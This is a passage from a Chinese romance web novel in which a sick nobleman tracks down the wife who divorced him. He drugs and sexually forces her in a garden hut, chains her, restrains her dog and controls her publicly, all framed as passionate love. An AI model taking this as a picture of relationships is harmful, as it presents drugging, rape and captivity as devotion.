人总是要从阴影中走出来的,小桃和世子和离后也不可能一直孤孤单单。 “是啊,大表兄,他是在县城学塾教书的夫子,名稽韶。”小姑娘一脸虔诚地对着四只眼睛的面具拜了三拜,完全没领会到罗承武的意思。 罗承武嗯了一声,并不着急。 他能看出那个稽夫子对小桃有好感,女儿家矜持为重,那就慢慢来吧。如果没猜错,稽韶很快就会出现在小桃的面前。至于缘由,十有八九和两人养的狗有关。 事实上,正是如此。 第三天,薛含桃出门没走多远就遇到了稽韶,他的怀里还抱着一只浑身雪白的小狗。 “阿凶,阿凶!”她高兴地呼喊,不多时大黑狗从家中跑出来,停在她的脚边。 然后阿凶动动鼻子,一双兽瞳盯住还没有它腿高的小毛团子,低低呜了一声。 “它名飘雪,是……猧子。”薛含桃和大黑狗介绍,交代阿凶玩耍的动作轻一点。 “飘雪,去吧。”稽韶看出怀里的爱犬不害怕大黑狗,将它放置地面。 很快,一大一小,一黑一白两只狗玩了起来。 阿凶开心极了,吐着舌头来回转圈,薛含桃看着它的模样笑弯了眼睛。 “听闻薛娘子擅画,若有时间不知能否请娘 子为飘雪作一幅画。“稽韶这么说,是因为他上次进门后看到了悬挂在墙壁的黑犬图。 他称赞薛含桃的画十分逼真,“假以时日,也许能风靡起来。” 世子也说过类似的话。 薛含桃抿着唇,摇摇头,“怎么会?其实我只学了两个月。” 忘了吧,彻底忘掉他在自己生命中的痕迹。肩后的印记也早就消失不见了…… “好啊,只要稽夫子不嫌弃,我就为飘雪作一幅画。” 她和稽韶约好后日在县城的一处梅园相见,临近新年,到那里观赏梅花的人很多,所以算不上孤男寡女私自见面。 而且,梅园距离这处小院不远,她完全可以带着阿凶过去。 傍晚,罗承武从武馆归家,顺便买了一只烧鸡回去,得知两人后日相约梅园,只沉声道,“午时我去那里接你。” 他已经和人打听过,稽韶出身不错,是前任青石县县丞的次子,身上还有一个秀才的功名,但因为父丧后无心官场所以只在学塾教导开蒙的孩童。 此外,稽家在此处经营百年,稽韶手里不缺银子田地,他守父丧没有婚配,能被选为扮演方相氏,品行也是上佳。 总之,对小桃而言,他是个好选择。 “谢谢大表兄,大表兄吃鸡腿。”薛含桃知道他担心自己,感动地将鸡腿放在他跟前,另一只分给了大黑狗。 而她咬着烧鸡的翅膀,一脸满足。 稽夫子请她为飘雪作画,承诺一幅画给她十两银子!大方极了!薛含桃很不好意思,觉得三两已经足够。 三两银子也不少了呢,飘雪的体型小,用到的颜料不多。 自己的荷包逐渐鼓起来,薛含桃就觉得未来一片美好。 等到种子开花,她回去都城的时候,赚来的银子能买贵一些的礼物,给堂姐给小皇子给方大哥给果儿姐姐。 至于世子,种子里面已经凝聚了她对他所有的祝愿,希望是最珍贵的礼物- 后日一早,薛含桃匆匆吃过一碗粥就带着阿凶出了门。 因为要作画,所以她身上穿了一件绛色的袄裙,耐得住脏。 但越是深重的颜色越是能凸显出那一抹莹白,病好了之后的她仿若肌肤也跟着变好了,再也不见之前的黑黄。 像是桃子蒙上了一层轻纱般的仙气。 阿凶兴奋地走在她的前面,两人只用了一刻钟就走到了梅园。 红色的梅花映照着她的脸颊,薛含桃望着来来往往的人,不停地搜寻稽夫子的身影,心里微有懊恼,两人只约在梅园,却忘了梅园也有许多地方。 她只能认真地在每个地方寻找,突然间,一个黄金面具在她的视野中闪过,薛含桃松了一口气。 终于找到人了,没想到稽夫子今日也拿着面具。 她笑了笑,默默地走了过去,戴着黄金面具的男人没有出声,只是优雅地抱起大黑狗,示意她跟着自己。 薛含桃点头,作画需要一个清静的地方。 她并未注意到周围的人越来越少,梅树也越来越密。 直至一间木屋出现在她的面前,四周寂静无声空无一人,就连自己的心跳声也能听到时,薛含桃开始有些不安,她唤稽韶的名字。 “稽夫子,你把阿凶放下吧,我们是在这里作画吗?怎么不见飘雪?” “稽韶”立在她的身前,像是一道阴暗的影子,沉默地打开了木屋的门,仍旧一言不发。 “稽夫子,飘雪在里面吗?”薛含桃盯着那道门,突然往后退了两步,“我觉得你可以把飘雪喊出来,肉干,对,我带了肉干,阿凶和飘雪都喜欢吃。” “夫子,稽大哥,你可不可以应我……” 她的话没能说完,下一刻,一根修长的手指探入了她的唇中。 薛含桃被粗暴地灌下一小瓶甜腻的汁水。 “尝一尝,桃子的味道。再唤你的稽夫子,也不迟。” 他搅着粉嫩的舌尖,冷嗤。 第48章 第四十八章“不要哭。” 听到“稽夫子”的声音,薛含桃的眼中仿佛空了,没有,什么都没有,白茫茫的一片。 耳朵似乎也慢慢失去了能力,只有轻微的一点,大黑狗被人拖下去着急地喊声。 然后又没有了。 不,不是!身后的背篓被拽下随便扔了出去,一只苍劲有力的手猛然向上抬起她的下颌,不够,还是不够,在桃子汁水之后,他又往她的嘴中灌入了什么。 可这还不是结束。 对一个人而言,嗅觉不会失灵,呼吸不会停止,薛含桃被困在那只手掌中,急促地喘气,仰着脆弱的脖颈,吸入浓郁但又莫名熟悉的气体。 口鼻被松开的瞬间,她眼角淌泪,想起了气味的熟悉来自何处,那是出自宫中的香丸。 而她全部吸了进去,或许还不止一颗。 “我们已经……和离了,桃子为什么还要被吃呢?”薛含桃低声呢喃,望着戴有黄金面具的男子,眼泪流淌得更凶,“世子。” 崔伯翀慢条斯理地摘下了脸上的面具,扔开,薄唇微张,“真是难得,我还以为薛娘子的眼中只有你的稽夫子,原来还能认出我。” 他面无表情地触碰她脸上的泪水,又问她桃子的汁水甜不甜。 哭的很凶的女子只是摇头,她知道面前的神明和自己不能再有丝毫关系,他看起来就像她的梦中一样啊,眉宇冷峻,风华难掩,没有一丝病容。 这些天里,该是吃下了那颗续命的丹药,和仪静县主成婚了吧。 “崔…世子,我要见,见的人是稽夫子,不是你。” 他们已经和离,所以桃子不能再被吃掉了。神明拥有了捧在手心的重瓣芍药,他们才是天生一对。 将军说得对,桃子不能痴心妄想,只能安静地等待腐烂。 去找,去找谁呢? 薛含桃的脸颊潮红,嘴唇迷迷糊糊地吐出一个名字,转过身,桃子要离开这里,不要见他,不要…… 伴随着一声冰冷的笑,她的腰肢被无情地握住,桃子没有能离开一步,而是被残忍地拖进了木屋里面。 屋中燃着无烟的炭火,她连一声呜咽都没能发出,就被吃到嘴中,死死地咬住。 白色的焰火剧烈地晃动起来,发出噼里啪啦的声音。 火苗一直在燃烧,一直在向上,一直把所有的桃汁烤干。 许久,火焰终于冲到了最顶峰,屋内的温度也到达了极点,接着便是骤然放松,轻风细雨缓缓地滋润已经干涸的桃子。 可被榨干的桃子变得木讷涣散,就算重新得到了滋润,也不会再给出令人满足喟叹的回应。 所以,火焰又开始熊熊燃烧,发出更加暴烈的响动,逼迫桃子分泌汁水。 她只能无意识地呜咽。 然后这时,梅林中传来了一声清晰的呼唤。 “薛娘子。” “薛娘子在吗?” 木屋外面,有一个相貌不俗的男子在寻找今日与他约好的女子,他的神色颇为懊恼,本来出门的时候一切顺利,可不知从何处冲出一个孩童撞到他身上。偏偏那孩童衣服上沾染了许多墨水,把他也弄的一团乌漆抹黑。 无奈,他只能回去重换衣服,甚至洗漱。洗了不少遍,费劲功夫才将脸上和手上的墨水弄干净。 这时,他急匆匆地往梅园赶,可怀里的爱犬又大声叫起来,害怕地瑟瑟发抖。 飘雪体型小容易生病,若是执意抱着出去,估计要出事,所以,他又把爱犬放回去,安抚了一段时间。 午时就要到了,男子用最快的速度赶到梅园,人群也在散去,毕竟很多人都要回 家用午膳。 他猜测薛娘子可能久等他不到已经失望归家,于是便想到薛娘子的家中去赔罪。不过,走了几步路,他皱了皱眉还是进入了梅园。 万一呢,万一薛娘子还在里面等他。他先找一找人,找不到再去她的家中。 “薛娘子,你在这里吗?”梅园的其他地方找过,男子又来到了木屋这里,梅林的最深处。 他隐约看到有人影,说不定就是薛娘子。 木屋内,桃子的呜咽声消失,取而代之是一声粗重的吐息,极为惬意,极为舒适,极为愉悦。 因为神明享受到了最为满意的奉献,他不得不大发慈悲轻抚桃子的脸颊,好心地提议,他们不如就这样出去和那位稽夫子见一面吧。 “避而不见太过失礼,你听,他还在喊呢。” 桃子听到的语气是轻柔温和的,可是她迎接的是更加密集强烈的火势,她发不出任何声音,只是幅度很小地摇头,绝望地摇头。 不能被发现,不能被看到, “好,既然这是你的心愿,那就只能满足你。”崔伯翀的脸上露出些遗憾,其实,他颇想试一试呢。 可惜了,不过好在时间还足够。 “你是不是很可惜,我居然没有死,成为棺材里的短命鬼,不然,你就能和外面那个稽夫子长长久久地在一起了。” 稽夫子的呼喊声远去,薛含桃的口中尝到了一滴自己的泪水,仿佛有了些力气说话,“不是,我祝愿世子长命百岁,姻缘美满。” 她勉强抬起眼皮说完,还讨好地笑了一下。就算被灰溜溜地赶了出来,她也在心里衷心地祝愿着他。 “可是,世子已经有了…比我美丽,比我高贵,还可以救命的夫人。”薛含桃在脑海中勾勒出神女的模样,顿了一下,委屈的哽咽声,再也忍受不住低低地传出来,“不需要我了,为什么还要出现?” 她的眼神茫然困惑,难道是因为种子吗? “还没开花,再等一等,等一等吧。”她疲累至极地闭上眼睛,沉浸在自己的世界里面。 好难受,为什么要这么对待她。 已经很努力了。 已经很勇敢了。 可是所有人都说没有用,她该滚回自己的世界。 她滚开了,为什么不放过她。 崔伯翀看着她蜷缩成一团,喃喃自语地流着眼泪,不为所动,而是轻描淡写地问了一句,“那些人中,从始至终包括我吗?” 他从未说过自己不需要她,而她只留给醒来的他一封和离书。 想到这里,他眼中的嘲意愈加浓厚,拿出那封她写的和离书,好整以暇地念起来。 “差点还忘了,你不愿意守寡,骂我是小人骗你成婚。” “确实是啊,我不早早地就让你见识过了,我不是神,而是连寻常人都不如的畜-生。” “所以,不要哭,今日只是刚开始,接下来几日你还得受着。” “我的确快死了,但两三个月还是能撑到,到时候就看是我的命长还是你这颗桃子耐磋磨。” 崔伯翀伸手拂去她脸上的泪珠,笑容肆无忌惮。比起做神明,其实做个毫不顾虑的畜-生更合他的意。 两三个月,比命长…什么意思? 薛含桃迷迷瞪瞪中想要开口询问,想要睁开红肿的眼皮去看他,可是她没有机会了。 他只是在她的肩后按了一下,她便失去了知觉昏睡过去,躺在男人怀里的模样凄惨又可怜。 “想和离,痴心妄想。” 崔伯翀一脚踹开木屋的门,冷冷睨了闷不作声的罗承武一眼,抱着她上了马车。 正当沉默的护卫以为风平浪静的时候,车厢里面传来一句轻飘飘的话。 “表兄表妹,在青石县待着想必颇是欢喜。” 刹那间,罗承武的后背漫上一股深深的寒意。 “娘子途中生病,我们不得已改路到此处修养,但男女有别,为了不被人误会,所以才以表兄表妹相称。” 他强作冷静地解释,请崔世子恕罪。 “我们,”车厢里的男人哼笑一声,语气骤然变得阴沉,“下次不要让我听到这个词,还有所谓的表兄表妹。” “记住,她是我的妻。” 死了也不会改变。 第49章 第四十九章绝望。 马车回到了县城中的小院。 薛含桃醒来的时候,眼神仍旧是迷离涣散的,仿佛自己还在那个温度足够将她融化的木屋。 她甚至本能地发出了一声呜咽,哭腔里面充满了委屈,悲伤,以及被索求过度的恐惧。 黑暗中,可能是察觉到她的苏醒,一个人影走过来,温柔地托着她的下颌,喂了她一杯水。 温热的茶水抚慰了薛含桃干涩的嗓子,可是她却不觉得放松,而是害怕地瑟缩身体,想要逃离。 她记起来了,就是喂她喝水的这只手,掌控她所有的感知,撕碎了她平静的生活,强迫一颗绝望的桃子露出她血淋淋的伤口。 “哗啦”一声清脆的金属撞击声让薛含桃的逃离成为了奢望,她感受到手腕和脚腕处一同传来的拉扯,整个人呆住。 耳边似乎传来了一声淡淡的笑,下一刻,烛台被点燃,屋中多了亮光。 不止是蜡烛橘黄色的火光,还有,更加耀眼的金色的光芒,从她的手腕和脚腕四处蔓延,细细的长长的,仿佛一条金蛇。 薛含桃宛若一个木人,她被自己信仰的神明用金链锁起来了。 只要一动,金链就会绷紧,然后将她重新拉回他的身边。 “这是对不听话桃子的惩罚。”崔伯翀漫不经心地拽起一条,微微用力,顺势抚上细瘦伶仃的腕骨,“纯金打造的锁链果然美丽。” 他一边称赞一边在桃子柔腻的表皮留下自己的指印。 微微的刺痛感终于让薛含桃的魂魄重归躯体,她紧紧地抿着唇,垂下脑袋,嘴里嗫嚅着吐出几个字。 “不好吗?” “不是对的吗?” 为什么要惩罚一颗老实的桃子呢?她留下和离书将责任揽在自己的身上,离开京城让一切回到正轨,世子不仅能和他真正相配的神女在一起,而且可以活命。 这是所有真心为世子的人希望的,所以薛含桃很是委屈。 她不应该得到惩罚,而是奖励,就像是梦中一样,他说她不欠他了。 “好与不好是我说了算。小桃子,听清楚了,”崔伯翀抬起她的头,面无表情地一个字一个字强调,“我说,不好,错上加错。” 留下和离书离开的你,罪无可恕。 薛含桃睁着眼睛看过去,烛光下的他虽然行为如魔,但眉目间的风姿依然像是一位高高在上的神明。 她的神色恹恹,“那什么是对的?我不能…亲眼看着世子去死。” 她只是想世子活着,想世子继续做皎洁的明月,华美的魏紫。 “我本来也配不上世子,是陛下塞到世子身边的,留下来不仅没有用,反而会成为世子的阻碍。” 就和宋熹一样,把她当作路边的一株野草,随手丢掉吧。 “如果世子是觉得和离书中有些地方不妥,我愿意重新写一封,就写我出身低贱还贪得无厌好了,不仅贪恋世子的财物和权势,还想要一个…长命百岁的夫君。” “都怪我,好不好?” 薛含桃哭的稀里哗啦,上气不接下气,“所以,你…不能死…” 她不想要他吐血昏迷,随时都可能死去,为什么不接受仪静县主的丹药呢?她高贵,美丽,温柔地像是神女,还愿意为了他去求自己的父王。 “现在说这些,晚了。”崔伯翀云淡风轻地告诉她,在她离开京城的这段时间,晋王因为受寒得了重病,那枚丹药已经被他吃进了肚子里。 既然她因为那枚丹药离开他,那他就让这个可能永远消失。 听到这里,薛含桃的哭声中染上了绝望。 不应该,不应该是这样的。 她的眼底一片灰暗,甚至心中恨上了眼前的崔 世子,他不再是慈悲的神明,而是冷酷的魔,凭什么就这般轻易地放弃生路! 当然,她更恨自己,如果不是自己带着阿凶来到了京城,而是安分地跟着乡人到别的州县安置,陛下不会为了小皇子赐婚,现在世子和仪静县主就能顺理成章地在一起。 承认吧,薛含桃,是你,都是因为你,一开始就生出了妄想,却还在自欺欺人。 她不停地哭,一直到天色亮起来。 崔伯翀却在笑,毫不掩饰地笑,他一脸愉悦地摩挲着她的脸颊,吐出一句话。 “现在,你欠我的便是死也还不清。我不让你离开,就算天底下所有人都在反对,你也要留在我的身边。” 他感受着指腹的湿意,叹息,这颗桃子永远不知道曾经他对她有多么仁慈,为她规划好退路,不舍得让她面对勾心斗角的世界,更…甚与在他死后愿意放她自由,只是要求百年后她的尸体归于他。 可是,现在的崔伯翀变了,他在她离开后彻底推翻了原来的自己。 神明,仁慈,嗤! 他情愿撕掉伪装,变成她心目中一个畏惧甚至恐怖的存在,在她的身上永远的打下自己的烙印,让她哭泣,让她战栗,让她颤抖,让她在他死后也无法忘记自己给予她的所有。 一想到这里,崔伯翀身体的每一处都在疯狂地躁动。 对,就该是这样。 她的命属于他,她的心属于他,他让一颗青涩的野桃蜕变成香甜的仙桃,凭何要放手松开。 他要把她死死地抓在手心。 “哭累了就休息一会儿。”内心越是躁动,崔伯翀的神色越是冷静,他端来了一盆水,亲自给她擦拭泪痕。 这时,门外传来大黑狗的叫声,薛含桃红肿的眼皮终于动了一下,看向门口。 门是开着的,可是等啊等,始终不见大黑狗进来。 “阿凶怎么了?”她低低地问出口,嗓音沙哑。 正常情况下,即便畏惧崔世子,担心主人的大黑狗也一定会进来看个究竟。 “看家的狗,当然要锁起来,不然被人随便用一只小狗就骗走了,怎么办才好?”崔伯翀摸了摸她的头发,语气轻柔地问她早膳想吃什么。 薛含桃抿了抿唇,不说话。 “不想说,还是不愿意和我说。”男人的眼神变得凉薄起来,“你不开口,那只老狗一起饿着。” “我想要以前的世子回来…”少女沉默片刻,提出了一个要求。 “死了,被你丢了。”崔伯翀毫无波澜地回答。 “…粥,还有给阿凶肉干。”薛含桃的脑袋垂到了胸口,怎么都弄不明白为什么变成了现在这样。 她的眼泪流干了,而世子不仅没有幸福健康地同仪静县主在一起,还找到这里讨她的债……死都不怕吗? 崔伯翀端着一碗白粥回来,一颗桃子还呆呆地愣愣地沉浸在无望之中,勺子送到了嘴边才有反应。 “我,我自己吃。”老实的小姑娘总归不适应被人服侍,更何况还是崔世子,一瞬间她忘记了难过伤心,结结巴巴地表示可以自己吃,要将粥碗接过来。 然而崔世子像是没有听到,他动作优雅地端着粥碗,不容拒绝地将勺子抵到她的唇边。 拒绝不了反抗不了,那就只好接受。 薛含桃呼吸微顿,自暴自弃地张开了嘴巴。 一碗粥只剩下碗底的时候,屋外传来了笃笃笃的敲门声。 崔伯翀嗤笑一声,随后不轻不重地放下粥碗,对着薛含桃说,“听,你的稽夫子来了。” 闻言,薛含桃脸色骤变,眼中浮现出一分哀求,不能被稽夫子看到自己这般被锁着的模样。 “世子,求求你,放开我吧。” “做错了事就该被惩罚。” 崔伯翀瞥了她一眼,铁石心肠,只身从房间里走出去,留下薛含桃急切地扯着那些金锁链。 院门很快被打开,露出稽韶焦急的神色。 “敢问郎君是?我来找薛娘子。” 稽韶望着面前优雅华美的崔世子,眼中露出几分惊疑,这里不是薛娘子和她表兄住的地方吗?怎么会从里面走出来一个通身贵气的男子。 “稽夫子,原来你还没放弃,”崔伯翀笑的意味深长,“请问你孤身上门,找我家夫人何事?” 夫人! “郎君…是薛娘子的夫君吗?”稽韶心头一震,喉间涌出些失落,薛娘子竟然已经成婚了吗? 崔伯翀含笑点头,“是啊,成婚数月,感情深厚。只不过同夫人分开一段时间,没想到跟前多了些不要脸的玩意儿。” 不要脸的玩意儿,稽韶脸色一白,连忙解释自己上门是想请薛娘子为家中爱犬作画,“不过家中爱犬不适,所以请郎君替我为薛娘子道一声歉。” 话罢,稽韶微微颔首,转身离开。 “慢着,”崔伯翀叫住他,亲手摘下那只驱逐邪祟的面具,递过去,“稽夫子忘了一个东西,毕竟狗类主人,一只猧子随随便便动下手指就能捏死,为了保稽夫子的命,这只方相氏的面具你还是带回去的好。” 他的眼神落在稽韶的身上,说不出的轻慢,一个家中父亡只想着逃避的文弱书生,也敢肖想他的桃子。 “这只面具已经给了薛娘子,代表神明对薛娘子的庇护,我贸然取走,恐怕不合规矩。”稽韶深吸一口气,拱手作揖,“至于我家爱犬,虽然脆弱,但我相信它和它的主人都能福寿绵长。” 接着,他不再犹豫,迈步离开。 “稽韶,稽家次子,因得罪蔡党门人而不幸落第,父亲也被活活气死。自身难保的人,你却和我说你能福寿绵长,听起来,多可笑。”崔伯翀淡淡开口,道神明无用。 稽韶的背影僵住不动。 神明若有用,他一个扮演方相氏的人不会死了父亲求告无门。 崔伯翀放下面具,关上了院门。 “神明无用,她只要信仰我一个人就够了。” 第50章 第五十章“看够了吗?” 稽韶走了,薛含桃已经停下了拽扯金链的动作,她的脑海中一直回响着一句话。 信仰他一个人就足够了。 可是,现在的世子对她一点也不仁慈啊,让她疼,让她痛,让她控制不住地想要逃离。 崔伯翀回到房间里面,就看到她仿若木人一动不动的模样,走过去端起粥碗继续喂她。 薛含桃望着锁住自己的金链,不理会。 “张嘴。” 简单的两个字带着强烈的命令意味,崔伯翀捏着白瓷勺子,眼神从冷静克制,一点点染上浓郁的赤色。 主动放弃了续命的丹药,他当然没有痊愈,反而病的更加严重。 他轻笑一声,将剩下的一点点粥底吃了下去,这是她吃过的。 这时的薛含桃忍不住不看他,干巴巴地说了一句话,“世子应该吃山珍海味。” 用心制作的银霜糕,剥出刺的鲜鱼,价钱昂贵的冰山酥酪,被人簇拥着,精心服侍着,那才是他的世界。 “不,我更应该吃桃子。”崔伯翀由上而下地俯视她,唇角的笑意莫名令人后背发凉,“桃子并不知道自己被轻轻放过了多少次。” 在她无知无觉往他面前凑的时候,在她仰着脑袋说相信他的时候,在她委屈巴巴要哭不哭的时候。 他每一次都在忍耐,克制自己体内的躁动,放她一条生路,对她温柔一些。 但桃子太想把自己缩起来了,胆子很小,一有点风吹草动就急急忙忙地跑开,始终不肯相信她对他的吸引力。 既然如此,他不如强迫她认清事实。 崔伯翀平静地走到房门处,将门栓合上,而后他转身,眸色和呼吸都肉眼可见地发生了变化。 完全不掩饰的欲望,在胆小的桃子面前表现出来。 薛含桃的第一反应是茫然,她迟钝地看向房间里洒入的阳光,窗户都开着,屋中很明亮,即便关上了房门,她还是能看清他的五官他的神色,甚至于纯黑的瞳孔。 从前不是这样的,厚重的帷幔以及昏暗的光线,让她几乎看不到他。唯一的那次,她主动讨好,得以面对面地坐在他的身上,但也只能用眼睛描绘他的轮廓,其他仍是模糊的,不清晰的。 不过很快,她就顾不得回忆思考了,他摆弄着锁链压迫她迎合自己。 清 醒的欲望拉着她坠入一个光怪陆离的世界,那里虽然难以呼吸,万物扭曲颠倒,可一切都是真实的, 他的喘息很重,他的眼睛里面有狂风暴雨,黑沉地可怕,他的额头也会流汗…… 薛含桃近乎出神地盯着一个地方,一道暗红的伤疤横亘在靠近心脏的位置,如此狰狞,如此丑陋,像是从来没有愈合过,令她浑身颤抖。 她知道这就是让他痛苦的罪魁祸首。 韩将军说伤口很深,但万幸没有刺到世子的心脏。然而它总也好不了,有一段时间一直在红肿溃烂,于是大夫就要剜掉这里的腐肉,重复不休。 它破坏了一具完美的躯体,它毁掉了一位高洁的神明。 薛含桃用尽力气将指尖放上去,感受着凹凸不平与深入骨髓的疼痛,仿佛又见到了盘旋在天空的秃鹫。 他们嗅到了腐肉的味道,于是贪婪地不肯离去,等待着时机一冲而下,分食美味的血肉。 “看够了吗?”崔伯翀目光沉沉地盯着她的脸她的动作,然后下一刻他骤然抽出一只手,捏住她的下颌。 薛含桃猝不及防地红了眼眶,所有声音都被狠狠地压制住。这一刻她仿佛明白了他的话,从前的崔世子对她的确十分仁慈,十分温柔。 当全部不可言说的释放后,桃子被磋磨地很惨。 她开始分辨不清白天和黑夜的区别了,房中有没有阳光洒进来都是一样的。 然后她听到了有人在她的耳边问了一个问题。 “桃子还敢不敢妄自菲薄地将自己藏起来?” “不,不敢了。” 她小声怯怯地回答- “薛娘子,去买菜吗?好久都没看到你出门了。” 清晨,小院的门被打开,不远处的一位妇人看到从里面走出来的小姑娘,眼睛一亮赶紧开口打招呼。 “啊,是…是前阵子生病了。”薛含桃的目光闪躲,紧张地拽了拽自己的衣袖,脑袋也往下垂,唯恐被人看出端倪。 “原来是生病了,怪不得我听着薛娘子你的声音有些…奇怪。”这妇人犹豫半晌只说了奇怪二字,实际上…沙沙的软软的,有一股媚意。 但这话说出来就有些失礼,毕竟面前的小姑娘性子实在老实。有那么俊美出色的夫君,居然愣是憋住一个字不说,穿着打扮也普普通通,真不怕她那个夫君被人抢去啊? 可能是想什么就来什么,妇人的话音刚落下,合上的院门又一次被打开,她抬眼望去,不由咽了咽口水。 “出个门而已,夫人莫急,也等一等为夫。” 身后传来低沉的男子嗓音,薛含桃下意识地颤抖起来,更紧地拽住了自己的袖子。 可是她的举动只是徒劳,随着高大身影的走近,她的手被轻而易举地捉住,牢牢安放在掌心。 妇人在一旁看着,顿时不自在起来,虽然夫妻感情深厚,但光天化日之下如此亲昵,被些老学究看到一定会说教。 妇人本想好心劝解一番,然而崔伯翀平静地看了她一眼,她立刻偃旗息鼓,讷讷地唤了一声崔郎君。 真不知道薛娘子这位夫君是什么来历,反正绝不是普通人,看她一眼把她吓得呦,心脏都要跳出来了。 或者薛娘子也害怕她这位夫君?站在原地,低着头动都不敢动。 妇人偷偷地瞄,觉得他们这对夫妻相处起来有些怪异,莫不是在闹别扭? 还有薛娘子那个大表兄,也令人捉摸不透,忽然辞去了武馆的活计不说,还出手阔绰地将周围几间庭院都买了下来。 上百两呢。 妇人猜测估计是薛娘子的夫君给的银子。 …… “不走?是想我抱着你?”崔伯翀摩挲着她的手指,又说他们还可以在房中多待段时间。 闻言,薛含桃马上就有了反应,闷着头往前走,低声解释自己没有带背篓不习惯。 她真的太怕和他待在一个房间里面了,好不容易才求来一次出门的机会,根本不敢惹怒他。 “买的东西拿不完,我可以帮你提着。”崔伯翀漫不经心地道,刻意放慢了脚步与她走在一起。 甚至密不可分地挨着。 这引来了不少人的注目,其实崔世子这张脸就足够吸引眼球,附近住着的人小声地谈论他,都道他是薛娘子的夫君。 “哪个薛娘子?”有人不明所以。 “父亲是秀才公的那个,会作画,养着一只大黑狗,还有一个很厉害的大表兄,搬来这里有些时日了。” “哦,哦,我知道了,她也真是深藏不漏,一看她夫君就不是寻常人,她却从来没有提到过。” “是啊,想不通,而且她怎么和表兄搬来了这里……” 有个声音充满了疑惑。 低头走路的薛含桃也听到了,一声不吭,接着崔伯翀一脸淡然地回答了那人,“是因为我家夫人看不上我,想要与我和离。” “!”四周纷纷发出了吸气的惊讶声,想不到啊,这般华贵俊美的郎君也会被人嫌弃。 他们再度难以置信地,热烈地,讨论起来。 薛含桃听着那些话脸色涨红,走路的步子都变得不稳起来,最后险些跌倒。 “夫人小心一些,不着急,医馆就快到了。”崔伯翀去扶她的肩膀,感觉到她身体微小的闪躲,手臂直接揽住了她的腰。 更加亲密的姿态,越是反抗越适得其反。 这一次,薛含桃终于学乖了,耷拉着眉眼,同他进入了医馆。 也不敢问为何要去医馆。 “郎君,娘子,请坐。”医馆的大夫态度友善,问他们到医馆来是抓药还是看诊。 听到询问,薛含桃的嘴唇动了动,眼神往一处看去,那里有一个难以愈合的伤口啊。 还能治好吗?还能等到种子开花吗?她整个人如同一只惊弓之鸟,不敢确定。 “看诊,劳烦大夫为我家夫人诊一诊脉象。”崔伯翀将捉在掌心的手腕递了过去,面不改色地开口说,“月前她生过一场病,不知好全了没有,最近总是乏力没有精神。” 大夫点点头,便要伸手诊脉。 “好了,我都好了。”后知后觉的薛含桃反应过来他话中的意思,羞愤不已,急忙往后缩手。 不能诊脉,她乏力的原因他是最清楚的那个人…… 看她用力挣扎,大夫有些犹豫,这到底是诊还是不诊?是真的好全了还是小娘子讳疾忌医? “罢了,夫人既然不愿意那就请大夫为她开些药,补一补气血。”欣赏了一会儿桃子羞得满脸通红的模样,崔伯翀才若无其事地改变了主意。 最后,两人从医馆出来,手里提着一个药包。 然后又是绸缎铺子,珍宝铺子,茶馆,酒楼,几乎青石县所有人多的地方都去了个遍,买了绢帛首饰,尝了茶点小食,吃了美味佳肴。 一天的时间,只要见到他们的人,都深刻地记住了一点。 他们是感情和睦的夫妻,崔郎君和薛娘子。 “感情真好啊,走到哪里都牵着手,以前根本没有见过这样的。” “是啊,真是一对佳偶。” “很配,天作之合。” …… 薛含桃越来越多地听到这些话,慢慢地,终于明白了崔世子的用意。 他想让她知道,就算她离开了都城回到了自己的世界,他也可以轻易地闯进来,在她的身上留下无可磨灭的印记。 “但这又有什么用呢?” 她木木地看着陶罐,还是十二片叶子,已经一个月没长新的叶子了。 那么慢,他会死的。【魔蝎小说 mo xie xs .c om】 50-60 第51章 第五十一章“不要离开我。” 第十二片叶子是薛含桃决定住在青石县的那天长出来的, 至此之后陶罐就没了动静。 如果世子吃下了续命的丹药,薛含桃还可以说服自己不要着急,过了冬日还有春天,夏季开花也不晚啊。 然而现在丹药没有了,他亲手斩断了自己的生路。从一天三次到一天五次,薛含桃每次看到这一棵小小的植株根本没有任何变化时,焦躁地咬住了自己的指尖。 她开始变得心不在蔫,时不时地就会走神,连崔伯翀端着热气腾腾的汤饼喂她时,若非他开口提醒她,她都会忘记张开嘴巴。 自从上次他强迫她答应不能再把自己藏起来后,她手腕和脚腕间的金链都被去掉了,但他似乎爱上了投喂的举动。 薛含桃本质上仍是个乖顺老实的小姑娘,仅有的反抗也是软绵绵的。他只要一强硬,无论在床榻之间还是在床下,她很快就能任他施为。 崔伯翀很享受这种感觉,完全地将她掌控在自己的手中,能让他的身心获得最大的满足。 然而最近两天她总是在走神,除了被他按在身下的时候不敢,其他时候越来越甚。 “在想什么?想我放了那只老狗?”他不满意她的走神,放下汤碗,不冷不热的语气问她。 “快过年了,我在想世子什么时候回京城。这里…连医馆都只有一个。”薛含桃悄悄地偷看他的脸色,试探着说道。她当然想让他解开阿凶身上的锁链,可现在的她心里只剩下了一件事,一句话。 薛含桃希望他不要死,长久地活着。 “青石县的确是个好地方,我觉得在这里过年也不错。”崔伯翀伸手过来,勾住她脖间佩戴的一条粉玺珠链,淡淡说道。 这是前日他们在青石县的珠宝铺子里买的,柔和的粉色带一丝绯霞,很像是桃子成熟时顶上的一点红,所以,崔伯翀当即就买下了它,并在她呜咽乞饶的时候亲手戴在她的脖间。 可能是因为桃子初到这里时就不是一副青涩卑微的模样,也可能是因为这里距离那个堆金积玉遍地朱绣的世界有些遥远,崔伯翀发现她比在京城的时候更自然更放松,当第一次带着粉玺珠链出门迎来的全是惊艳的打量后,洗漱除外,她没再摘下来过。 既然如此,留在这里过年也没什么不好。 “这样啊。”薛含桃声音低若蚊鸣,眼睛里面有不解,有仓皇,还有更深处的悲哀。 留在青石县,对他真的好吗?煌煌如日的崔世子,为了她离开了自己的世界。而她太没有用,根本无法让种子即刻开出花…… “若被我发现你再敢多想些有的没的,”崔伯翀察觉到她的反应不对,眉眼下压,目光里尽是阴翳,“继续把你锁起来,这一次就锁到天昏地暗,连路都走不了。” “没有,没有,我没有乱想。”薛含桃被他的话吓到,飞快摇头,颤抖地说道,过年的年货还未置办。 屠苏酒,饴糖,桃符,春帖等等许多东西,她小心翼翼地掰着手指头说了一遍,又问了一句,真的要留在青石县这个小地方过年吗? 他的身边甚至只有她和阿凶,罗护卫。 崔伯翀摸了摸她的脸颊,纯黑色的眼瞳盯着她不放,轻轻说道,“不用怀疑,不必再问,你在哪里我就在哪里。” 这一刻,薛含桃浑身都感觉到了一股灼热,足以将一个人的理智燃烧殆尽。 她张了张唇瓣,最终还是没能说出那句话,她一点都不好,除了为他做一些吃食,送给他简陋廉价的礼物,没有可以让他续命的丹药,甚至也不确定种子能不能开花。 